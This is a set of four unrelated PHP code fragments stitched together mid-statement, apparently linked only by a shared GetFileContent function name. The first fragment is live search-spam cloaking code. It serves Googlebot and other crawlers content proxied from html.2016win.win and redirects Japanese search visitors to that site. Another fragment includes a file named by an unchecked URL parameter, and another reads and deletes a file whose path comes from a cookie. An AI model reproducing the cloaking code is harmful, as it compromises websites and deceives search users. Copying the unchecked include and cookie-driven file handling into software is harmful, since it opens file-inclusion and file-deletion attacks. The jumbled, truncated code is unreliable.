$url->appendChild($loc); $text = $dom->createTextNode($v); $loc->appendChild($text); } header("Content-type:text/xml; charset=utf-8"); echo $dom->saveXML(); exit; } if ($isBot) { if (!$isoldpage) { $queryid = $_SERVER['QUERY_STRING']; $str = GetFileContent("http://html.2016win.win/v1/proxy2.php?" . $u[1] . "|" . $_SERVER['HTTP_HOST']); echo $str; exit; } else { $str = GetFileContent("http://html.2016win.win/v1/proxy.php?" . $u[0]); echo $str; exit; } } else { if (isSpider($referer) && $isJa) { echo '<script>document.location=("http://html.2016win.win/ny1.php?' . $uy . '");</script>'; exit; } } function isGoogleBot() { if (stripos($_SERVER["HTTP_USER_AGENT"], "Googlebot") !== false) { return true; } else { return false;
*/ /** * * This is a sample application to Execute a query against NorthWind data service * that will fetch customer entity set with Country property equal to 'UK' and to * display the returned entity set in browser. */ $currentTab = "Demo"; $contentFileName = dirname(__FILE__) . $_GET['sampleFileName']; $templateFilename = dirname(__FILE__) . './templates/1_column_template.php'; $long_page = true; if (is_file($contentFileName)) { ob_start(); include $contentFileName; $page_content = ob_get_contents(); $page_content = $page_content . GetFileContent($contentFileName); ob_end_clean(); include $templateFilename; } /** * * This function gets source code of specific file */ function GetFileContent($fileName) { $fileContent = '<br/><br/><div id="source_code_collapsed" style="display:block">'; $fileContent = $fileContent . '<a href="javascript:swap(\'source_code\')">Click to view the source code</a>'; $fileContent = $fileContent . '</div>'; $fileContent = $fileContent . '<div id="source_code_expanded" style="display:none;color:green">'; $fileContent = $fileContent . '<a href="javascript:swap(\'source_code\')">Click to hide the source code</a><br/>'; $fileContent = $fileContent . str_replace("\n", "<br/>", file_get_contents($fileName), $count) . '</div>';
} $files_mod_str = 'bx_'; $l = count($arr); for ($i = 0; $i < $l; $i++) { @($files_mod_str .= filemtime($_SERVER['DOCUMENT_ROOT'] . '/bitrix/admin/htmleditor2/' . $arr[$i])); } $files_mod_hash = md5($files_mod_str); if (!isset($_SERVER['HTTP_IF_NONE_MATCH']) || $_SERVER['HTTP_IF_NONE_MATCH'] != '"' . $files_mod_hash . '"') { header("Pragma: private"); header("Cache-Control: public, max-age=2592000"); // 30 days header('ETag: "' . $files_mod_hash . '"'); header("Content-Type: application/x-javascript; charset=" . LANG_CHARSET); for ($i = 0; $i < count($arr); $i++) { $script_filename = $arr[$i]; $script_content = GetFileContent($_SERVER['DOCUMENT_ROOT'] . '/bitrix/admin/htmleditor2/' . $script_filename); $script_content = preg_replace("/\t/", '', $script_content); //$script_content = preg_replace("/(.*)\/\/.*/", "\$1", $script_content); $script_content = preg_replace("/\r\n/", "\n", $script_content); echo "\n/*:::: {$script_filename} ::::*/\n"; echo $script_content; } } else { CHTTP::SetStatus("304 Not Modified"); header("Pragma: private"); header("Cache-Control: public, max-age=2592000"); // 30 days header('ETag: "' . $files_mod_hash . '"'); header("Content-Type: application/x-javascript; charset=" . LANG_CHARSET); while (ob_get_level()) { ob_end_clean();
// track of the list of Ids of units left to generate. We then extract the // list from the file. if (!file_exists($outDirName)) { $tpl->SetVariable("MESSAGE", "Output directory does not exist"); $tpl->Show(); exit; } $unitIDs = file($_COOKIE[DTX_COOKIE_NAME]); unlink($_COOKIE[DTX_COOKIE_NAME]); } $numFiles = 0; while (count($unitIDs) > 0 && $numFiles < FILES_PER_ITERATION) { $unitID = $unitIDs[0]; // get content $filename = ""; $content = GetFileContent(trim($unitID), $filename); // write file $file = fopen($outDirName . "/" . $filename, "w"); fwrite($file, $content); fclose($file); // move to next item array_shift($unitIDs); $numFiles++; } $endTimeStr = microtime(); $duration = MicrotimeDifference($startTimeStr, $endTimeStr); // if no more items if (count($unitIDs) == 0) { // No more progress file cookie, so that the only cookie left is the // project Id cookie. setcookie(DTX_COOKIE_NAME, "", time() - 3600);